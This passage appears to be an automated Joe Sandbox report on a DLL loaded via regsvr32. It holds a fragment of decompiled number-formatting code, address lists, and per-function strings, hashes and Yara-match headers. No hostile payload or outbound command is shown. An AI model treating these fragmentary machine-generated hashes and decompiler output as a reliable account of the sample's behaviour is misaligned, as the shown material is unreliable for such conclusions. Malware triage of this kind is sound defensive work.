								 *((char*)(_t173 + 1)) = 0x2d;
							}
							if(r8d >= 0x64) {
								_t131 = (0x51eb851f * r8d >> 0x20 >> 5) + (0x51eb851f * r8d >> 0x20 >> 5 >> 0x1f);
								 *((intOrPtr*)(_t173 + 2)) =  *((intOrPtr*)(_t173 + 2)) + _t131;
								r8d = r8d + _t131 * 0xffffff9c;
							}
							if(r8d >= 0xa) {
								_t127 = (0x66666667 * r8d >> 0x20 >> 2) + (0x66666667 * r8d >> 0x20 >> 2 >> 0x1f);
								 *((intOrPtr*)(_t173 + 3)) =  *((intOrPtr*)(_t173 + 3)) + _t127;
								r8d = r8d + _t127 * 0xfffffff6;
							}
							 *((intOrPtr*)(_t173 + 4)) =  *((intOrPtr*)(_t173 + 4)) + r8b;
						}
						if(( *0x100b8548 & 0x00000001) != 0 &&  *_t158 == 0x30) {
							r8d = 3;
							E10032E50(_t119, _t158, _t158 + 1, _t184);
						}
						if(r12b != 0) {
							 *(_t152 + 0xc8) =  *(_t152 + 0xc8) & 0xfffffffd;
						}
						_t92 = 0;
					} else {
						E10032420(_t147);
						r9d = 0;
						r8d = 0;
						_v120 = _t175;
						 *_t147 = 0x22;
						E10034370(_t152, _t155, _t163, _t170, _t175, _t177, _t183);
						if(r12b != 0) {
							 *(_t152 + 0xc8) =  *(_t152 + 0xc8) & 0xfffffffd;
						}
						_t92 = 0x22;
					}
					goto L48;
				} else {
					L12:
					E10032420(_t147);
					r9d = 0;
					r8d = 0;
					 *_t147 = 0x16;
					_v120 = _t175;
					E10034370(_t152, _t155, _t163, _t170, _t175, _t177, _t183);
					if(r12b != 0) {
						 *(_t152 + 0xc8) =  *(_t152 + 0xc8) & 0xfffffffd;
					}
					_t92 = 0x16;
					L48:
					return _t92;
				}
			}

0x10034910
0x10034910
0x10034910
0x10034910
0x10034910
0x10034910
0x10034915
0x1003491a
0x10034924
0x10034928
0x1003492c
0x10034930
0x10034934
0x10034938
0x1003493b
0x1003493e
0x10034946
0x1003494d
0x10034950
0x10034954
0x10034957
0x100349e2
0x100349e7
0x100349ea
0x100349ee
0x100349f2
0x100349f7
0x100349fd
0x10034a02
0x1003495d
0x1003495d
0x10034962
0x10034965
0x1003496c
0x10034973
0x1003497a
0x10034982
0x10034984
0x10034990
0x10034992
0x10034997
0x1003499a
0x1003499a
0x10034990
0x100349a2
0x100349a9
0x100349ab
0x100349b7
0x100349b9
0x100349b9
0x100349b7
0x100349be
0x100349c7
0x10034a0c
0x100349c9
0x100349c9
0x100349d1
0x100349d4
0x100349d7
0x100349d7
0x100349c7
0x10034a17
0x10034a53
0x00000000
0x00000000
0x10034a5c
0x10034a60
0x10034a68
0x10034a9f
0x10034aa8
0x10034ab0
0x10034ab8
0x10034ac0
0x10034ac7
0x10034ad0
0x10034ad6
0x10034adc
0x10034ae3
0x10034b1d
0x10034ae5
0x10034aed
0x10034af5
0x10034afe
0x10034b03
0x10034b0b
0x10034b13
0x10034b13
0x10034ae3
0x10034b29
0x10034b2c
0x10034b2e
0x10034b33
0x10034b33
0x10034b3a
0x10034b3c
0x10034b40
0x10034b44
0x10034b47
0x10034b54
0x10034b54
0x10034b60
0x10034b63
0x10034b69
0x10034b71
0x10034b71
0x10034b74
0x10034b7b
0x10034b90
0x10034b92
0x10034b95
0x10034b9a
0x10034b9c
0x10034ba1
0x10034ba1
0x10034bad
0x10034bb1
0x10034bb3
0x10034bb3
0x10034bbd
0x10034bbf
0x10034bc3
0x10034bc7
0x10034bc9
0x10034bcc
0x10034bcc
0x10034bd4
0x10034be6
0x10034be8
0x10034bee
0x10034bee
0x10034bf5
0x10034c07
0x10034c09
0x10034c0f
0x10034c0f
0x10034c12
0x10034c12
0x10034c22
0x10034c2d
0x10034c33
0x10034c33
0x10034c3b
0x10034c3d
0x10034c3d
0x10034c44
0x10034a6a
0x10034a6a
0x10034a6f
0x10034a72
0x10034a79
0x10034a7e
0x10034a84
0x10034a8c
0x10034a8e
0x10034a8e
0x10034a95
0x10034a95
0x00000000
0x10034a19
0x10034a19
0x10034a19
0x10034a20
0x10034a23
0x10034a2a
0x10034a30
0x10034a35
0x10034a3d
0x10034a3f
0x10034a3f
0x10034a46
0x10034c46
0x10034c71
0x10034c71

Strings

gfff, xrefs: 10034BF7
e+000, xrefs: 10034B74

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLastValue$CurrentThread
String ID: e+000$gfff
API String ID: 526964173-3030954782
Opcode ID: e33cb337daeb10f66fb9e6969d6081b1b6a1ea733270b15c37e886cad3859649
Instruction ID: b8e339738a8ee15bec9342b9ff08f4967fc3a5b4731145ecda042ba700103661
Opcode Fuzzy Hash: e33cb337daeb10f66fb9e6969d6081b1b6a1ea733270b15c37e886cad3859649
Instruction Fuzzy Hash: 2A91457A7057C08AD7A6CB26A94178E7BA1F385BC1F099215DF984FB59CF38E450C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800288F8 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

{|+[, xrefs: 0000000180028B35
LuG, xrefs: 0000000180028B92

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: LuG${|+[
API String ID: 0-3896543211
Opcode ID: fde95f8e9d0be3f3338bb3dd672b6b3ff4901c736f389ac2aa01be81abe5025c
Instruction ID: 49d9eb1de4bf484b8edf862afb835fed30f1d33204fe9c2dd6c65b9bd83a52fa
Opcode Fuzzy Hash: fde95f8e9d0be3f3338bb3dd672b6b3ff4901c736f389ac2aa01be81abe5025c
Instruction Fuzzy Hash: 9EA166B550170DDFEB98CF68D58A59D3BA9FF44308F008129FC1E9A2A4D3B4E919CB16

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021918 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

=vn, xrefs: 0000000180021AAD
*s2y, xrefs: 0000000180021C6A

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: *s2y$=vn
API String ID: 0-604381509
Opcode ID: 8c01c61abab64a452f7891919164bb6c475c91999586673096905b87bc896b28
Instruction ID: 749b68f26b84ad27b8775e270bf40ab2d079dfeea094ca42c764d984bda76799
Opcode Fuzzy Hash: 8c01c61abab64a452f7891919164bb6c475c91999586673096905b87bc896b28
Instruction Fuzzy Hash: F291F67150468DAFEBFACF18C89A7D937A1FB58344FA08119D90E8E290DF745B88DB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021594 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

q6), xrefs: 0000000180021827
1UA, xrefs: 00000001800216C6

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: q6)$1UA
API String ID: 0-996259322
Opcode ID: ec8b101651cc0e7d47911714810161081942b78277b44e7e6dcb11f0f43bbfb6
Instruction ID: a818e9bc9fe4e6ff2c5b7e8a3221aa5609a82b71db8d5c87e3a6587284458132
Opcode Fuzzy Hash: ec8b101651cc0e7d47911714810161081942b78277b44e7e6dcb11f0f43bbfb6
Instruction Fuzzy Hash: 1981927154878C8BEBBACF24CC897DA7BB1FB58304F504219D84E8E294DB765785CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FB04 Relevance: 2.6, Strings: 2, Instructions: 143COMMON

Download Yara Rule

Strings

!:, xrefs: 000000018000FCF7
4_, xrefs: 000000018000FBA6

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !:$4_
API String ID: 0-3668949186
Opcode ID: c1414d9e66dc00b3918be973f32e4ae1c12edcd65d25999478d3bb2727aaab4f
Instruction ID: 0eff6bfdcfe4b1e2c6823b6602cd3d19d0970244938a72098bfc302b32a2dab1
Opcode Fuzzy Hash: c1414d9e66dc00b3918be973f32e4ae1c12edcd65d25999478d3bb2727aaab4f
Instruction Fuzzy Hash: D561FA7050034D8BEF99CF64C48A2DE3FB1FB58398F215219F84AA6290D7789654CBC9

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800031C4 Relevance: 2.6, Strings: 2, Instructions: 136COMMON

Download Yara Rule

Strings

j|, xrefs: 00000001800031E2
)4, xrefs: 00000001800031EA

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )4$j|
API String ID: 0-2355070360
Opcode ID: 94eecea33497037cf1ca5ad125e27017879e4b480cd0d6b6525cc2b0145a064f
Instruction ID: 969bac4205370287d3d4678996cb66de85105d66da8af223b75cb8732434a46e
Opcode Fuzzy Hash: 94eecea33497037cf1ca5ad125e27017879e4b480cd0d6b6525cc2b0145a064f
Instruction Fuzzy Hash: 0D518D31118B858BE799DF58C48939AFBE0FB88354F10491DF482C63A0DBF4D949CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800154EC Relevance: 2.6, Strings: 2, Instructions: 128COMMON

Download Yara Rule

Strings

,, xrefs: 00000001800156C8
<C, xrefs: 0000000180015629

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,$<C
API String ID: 0-1757562995
Opcode ID: c15a56685b11cb5a6a6df16086491760e99ecb55db6cda535f3684bc1d949e7c
Instruction ID: 2cf6693b0887d6177e185945cb0bcd47db2a08145771d601c06445bfe20dec4e
Opcode Fuzzy Hash: c15a56685b11cb5a6a6df16086491760e99ecb55db6cda535f3684bc1d949e7c
Instruction Fuzzy Hash: 6D51ED7051C7848BD7B8DF28D48679ABBE0FB98714F104A1EE5CD83252DB70A9448B86

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800027B8 Relevance: 2.6, Strings: 2, Instructions: 125COMMON

Download Yara Rule

Strings

&8, xrefs: 0000000180002887
-=, xrefs: 000000018000293B

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &8$-=
API String ID: 0-4198106421
Opcode ID: 43b3c49b7f7d73c7c57ae8632f13b492f409cd09fcea750496dcd309e0fa8f78
Instruction ID: 324150e1c43d7b650e476b38d5d9c140e8ec9d593c07b28900e3c0f76335582b
Opcode Fuzzy Hash: 43b3c49b7f7d73c7c57ae8632f13b492f409cd09fcea750496dcd309e0fa8f78
Instruction Fuzzy Hash: C0618EB190434A8FDB49CF68C4865CE7FB0BB68398F204619E856A6260D3B4D6A4CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015714 Relevance: 2.6, Strings: 2, Instructions: 121COMMON

Download Yara Rule

Strings

a|, xrefs: 00000001800158CD
D&, xrefs: 000000018001586B

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D&$a|
API String ID: 0-4095307963
Opcode ID: 9efb368eaeeef8e13937dccb394625c17dc133e8a3274fa1121f3c50aec6d9aa
Instruction ID: 85dde58966ca5fd0b2e499a86a2700fb13c7e6e5bd91b820f30065a0eec5b179
Opcode Fuzzy Hash: 9efb368eaeeef8e13937dccb394625c17dc133e8a3274fa1121f3c50aec6d9aa
Instruction Fuzzy Hash: 1951E47050C7448BE3A8DF28C58965FBBF0FB86744F50491DF6C6862A0D776D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004B50 Relevance: 2.6, Strings: 2, Instructions: 119COMMON

Download Yara Rule

Strings

kN, xrefs: 0000000180004B54
_A, xrefs: 0000000180004BA9

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _A$kN
API String ID: 0-2091390261
Opcode ID: f27502b9e2138f8654979c505b73a89cb195e07ff317851fe9c5ec8974fc3574
Instruction ID: 00e7bf8bc7dcfa940721ea73b43622c3efa1ca14386e0adc627729cdc82f29d5
Opcode Fuzzy Hash: f27502b9e2138f8654979c505b73a89cb195e07ff317851fe9c5ec8974fc3574
Instruction Fuzzy Hash: D151DFB05087858FE3A8CF69C48951AFBF1FBD6384F104A1DF696862B0D7B5D885CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017824 Relevance: 2.6, Strings: 2, Instructions: 114COMMON

Download Yara Rule

Strings

UI, xrefs: 0000000180017909
^D, xrefs: 00000001800178AE

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UI$^D
API String ID: 0-3120610174
Opcode ID: fab29e0e62c7164152e2f7f6e2cd6c36ab28bb0891753d3ab40f81ddcfe59c08
Instruction ID: 989f80c4a26f55ed11964498c8cafb484e572035c60ab0d25c312040827d34cc
Opcode Fuzzy Hash: fab29e0e62c7164152e2f7f6e2cd6c36ab28bb0891753d3ab40f81ddcfe59c08
Instruction Fuzzy Hash: 8751D5B190078A8FDF48CF68C88A5DE7BB0BB58358F104A19EC66A6250D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001744 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

gO, xrefs: 000000018000179A
1V, xrefs: 000000018000189A

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 1V$gO
API String ID: 0-4103379174
Opcode ID: 1997ecec5299463681479645e0e3d93143b4f1384f5f2677fe955b9bbfc970fc
Instruction ID: 6fe175adfe91171bab23220f8f295f88c8011a9f006b0c0e71a1a749b54b3086
Opcode Fuzzy Hash: 1997ecec5299463681479645e0e3d93143b4f1384f5f2677fe955b9bbfc970fc
Instruction Fuzzy Hash: 3041187060C7848BD768DF58D48575AFBE1FBD8304F00895DE88A8B395CBB49858CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012288 Relevance: 2.6, Strings: 2, Instructions: 110COMMON

Download Yara Rule

Strings

sB, xrefs: 000000018001244E
f, xrefs: 0000000180012311

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: sB$f
API String ID: 0-2207894448
Opcode ID: ef0937d0b3b0031ac3e38a03def6ec541aece3ca80d61044dac505e9a5e6854f
Instruction ID: bca792d4fa1b54fb65b41c746fa6d1392d636045bb5ee9cd948bc7f3951a8396
Opcode Fuzzy Hash: ef0937d0b3b0031ac3e38a03def6ec541aece3ca80d61044dac505e9a5e6854f
Instruction Fuzzy Hash: 7451047150474D8BEB59DF24D4096D93BF8FF46304F505079FC5D8A2A2DBB8A919CB02

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004D70 Relevance: 2.6, Strings: 2, Instructions: 103COMMON

Download Yara Rule

Strings

D}, xrefs: 0000000180004DAF
a, xrefs: 0000000180004DA7

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D}$a
API String ID: 0-1501324146
Opcode ID: b61740df076a4e58ab1aaf0a6bbe65992fb08f0906d7841c93a6c47cc50c744f
Instruction ID: 3164add8f2757b854f8d5ca7f137aafbfedebffe511f0bb5fe7378087cbb8dbb
Opcode Fuzzy Hash: b61740df076a4e58ab1aaf0a6bbe65992fb08f0906d7841c93a6c47cc50c744f
Instruction Fuzzy Hash: F2316F71618B488BD75CDF28C09962ABBE1FBD8344F40892DF48AC73A1CB70D845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F60C Relevance: 2.6, Strings: 2, Instructions: 103COMMON

Download Yara Rule

Strings

:`, xrefs: 000000018000F6D6
gx, xrefs: 000000018000F785

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :`$gx
API String ID: 0-1572031083
Opcode ID: 9b4b6f3c1ce9cb88df1f171ad618c7538b0b4517eb4a5c770489514985f37735
Instruction ID: 04533fec05bf07f3642238f3658b5e4231af4bec497fcfd5206c9851a1ef2eaa
Opcode Fuzzy Hash: 9b4b6f3c1ce9cb88df1f171ad618c7538b0b4517eb4a5c770489514985f37735
Instruction Fuzzy Hash: 3351D4B080074E8FDB48DF68C8865CE7FB0FB68398F514619F856A6250D3B496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020D20 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

7Gl, xrefs: 0000000180020D6C
BM, xrefs: 0000000180020E6D

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 7Gl$BM
API String ID: 0-1566119768
Opcode ID: 0c8a053c30b17d750471f1f43800e87a1b0fab7ef6de505c2cba19c0f95f1e20
Instruction ID: 3b3ac904204acec73021df8b8b45ac07eb1974cbac465a84d2b5ab348855926d
Opcode Fuzzy Hash: 0c8a053c30b17d750471f1f43800e87a1b0fab7ef6de505c2cba19c0f95f1e20
Instruction Fuzzy Hash: 0F51D3B080474E8FCF48CF68C4965CEBFB0FB58398F248219E816A6250D37496A4CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028768 Relevance: 2.6, Strings: 2, Instructions: 97COMMON

Download Yara Rule

Strings

`S7G, xrefs: 0000000180028899
br, xrefs: 0000000180028860

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `S7G$br
API String ID: 0-1602624217
Opcode ID: 26145bc1015ecb1842bde0a513ab0170e8306a52e6cd2a2dc68d646dae1b6f31
Instruction ID: d583020aa3ed1fb89eb4a24be71b18b949273f5afd6d9ad75e5c6690d9240c24
Opcode Fuzzy Hash: 26145bc1015ecb1842bde0a513ab0170e8306a52e6cd2a2dc68d646dae1b6f31
Instruction Fuzzy Hash: 3C41D47090074E8BDB48CF68C8965EE7FB0FB58354F10461DE856A6390D7B896A5CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024D84 Relevance: 2.6, Strings: 2, Instructions: 96COMMON

Download Yara Rule

Strings

on, xrefs: 0000000180024DD4
@T, xrefs: 0000000180024E9E

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @T$on
API String ID: 0-2912281258
Opcode ID: 3ad0ee0075794bac393d768d78b80174df82749c7780eb2331ff9a22a3ae7cb7
Instruction ID: 1d7ce5d0b1535582f3b47b2639f224055364b0d2e9551dfc135d5409048e3ccb
Opcode Fuzzy Hash: 3ad0ee0075794bac393d768d78b80174df82749c7780eb2331ff9a22a3ae7cb7
Instruction Fuzzy Hash: 3151C47081038E8FDB48CF68D88A5CEBFF0FF58358F109619E869A6250D3B49664CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180027DB8 Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

Ng(>, xrefs: 0000000180027F28
', xrefs: 0000000180027E8A

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: '$Ng(>
API String ID: 0-3022928773
Opcode ID: 63ddaededffbdd4255bbf07a261cb1f7bea08adb192f7987e33e57dbf7ea5b8f
Instruction ID: 111731a89b42c145df7aac8ab533f25b0b267260397ce96f6e4c9c6ee12ea865
Opcode Fuzzy Hash: 63ddaededffbdd4255bbf07a261cb1f7bea08adb192f7987e33e57dbf7ea5b8f
Instruction Fuzzy Hash: 5651A2B190034E8FDF48CF64C88A5DE7FB0FB68398F214619E855A6250D3B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017B68 Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

U6b, xrefs: 0000000180017C4F
., xrefs: 0000000180017BAB

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U6b$.
API String ID: 0-260677711
Opcode ID: 5bbd8e80dc59011474f260387f08b19d2759c45068a47da632616ef90891b509
Instruction ID: a087fe20193d9d787dd51338fa4ff4bb13ea1fa017cac19dd1d12a18ffeb012f
Opcode Fuzzy Hash: 5bbd8e80dc59011474f260387f08b19d2759c45068a47da632616ef90891b509
Instruction Fuzzy Hash: 2B41F270208B448FC7A8DF29D58661ABBF0FB9A744F10495DFA89C7365D772D844CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A198 Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

K}, xrefs: 000000018000A2A8
U[, xrefs: 000000018000A1D7

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: K}$U[
API String ID: 0-1952786773
Opcode ID: 9f5608a220fefd821cee27cadb1d950a00c5bc29e6e9b3c9d21a18ea1c24878e
Instruction ID: 97b403d1ecda54ba7dc3de28d8b46c020f92b1653bf9fb7f416f474e77fac3ba
Opcode Fuzzy Hash: 9f5608a220fefd821cee27cadb1d950a00c5bc29e6e9b3c9d21a18ea1c24878e
Instruction Fuzzy Hash: 084105B081074E8FCB48CF68C88A5CEBBB0FF58358F15561DE85AA62A0D3B49655CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003824 Relevance: 2.6, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

lz, xrefs: 00000001800038F9
f(, xrefs: 0000000180003842

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: f($lz
API String ID: 0-2159268743
Opcode ID: b362c19087fdcb98c4eac515354c475a8303adfa6d64fd1516081da2b431e573
Instruction ID: 53f7ce09a5509b5328c00f7f499467516d85394a7e93cbed78313f98acaa331a
Opcode Fuzzy Hash: b362c19087fdcb98c4eac515354c475a8303adfa6d64fd1516081da2b431e573
Instruction Fuzzy Hash: BC41E5706107888BCB8CDF68C89A5D93FA1FB48358F565329FC4AA73A0D778D944CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800122C8 Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

[A, xrefs: 00000001800123E5
f, xrefs: 0000000180012311

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [A$f
API String ID: 0-4183805669
Opcode ID: a81fa58d7b5e9dc61b792d3e6b6fa43cecd8321b1f1fb1b665992e130e833f28
Instruction ID: 52bb0936ec1791e689615e3e6a2b6de25cc009159f9df6621ae60aca7c437406
Opcode Fuzzy Hash: a81fa58d7b5e9dc61b792d3e6b6fa43cecd8321b1f1fb1b665992e130e833f28
Instruction Fuzzy Hash: 9741427050874D8FEB69CF38C4096D83BF8BF42304F145069FC5D8A2A2D7B9A829CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C800 Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

+Im_, xrefs: 000000018000C8A2
Zt, xrefs: 000000018000C8B0

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +Im_$Zt
API String ID: 0-2721426291
Opcode ID: 29d02481b538a181ee4d3df62990eb5736aed03d7a1bdb552ecbd9d531d0283c
Instruction ID: 5806c6cb0735a4469bc6cc422bc09a84d249fa8f4f656a5d697bed5b6144a8f4
Opcode Fuzzy Hash: 29d02481b538a181ee4d3df62990eb5736aed03d7a1bdb552ecbd9d531d0283c
Instruction Fuzzy Hash: E33190745183808B8748DF28D05A51ABBE1BBCD308F508B1DF8CAAA291D738D6158B4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C6CC Relevance: 2.6, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

H~, xrefs: 000000018001C7BB
%*, xrefs: 000000018001C7D8

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %*$H~
API String ID: 0-2966777657
Opcode ID: 1628f1295115f34372dfe3f7ad22f94b92da33611bb0e4bf2771259c68263a9b
Instruction ID: 8cf0effdd3f510c65b967fca8aaf01ae8824750ca67c30c985fc4d38d438a457
Opcode Fuzzy Hash: 1628f1295115f34372dfe3f7ad22f94b92da33611bb0e4bf2771259c68263a9b
Instruction Fuzzy Hash: FA3192705187888BD7A4DF29C089A8BBBE1FB98748F908A1DE4CDC7354DB749489DB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800036FC Relevance: 2.6, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

;, xrefs: 000000018000378A
dB|4, xrefs: 000000018000379E

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ;$dB|4
API String ID: 0-835793151
Opcode ID: 336a0f6871cc0839c1891df4b8ea75839a0d72cea4f696164714c787f116b876
Instruction ID: 793b63db5ba4a43e2e696965c793b49de963e3a23990a2e7367b152310a9fde6
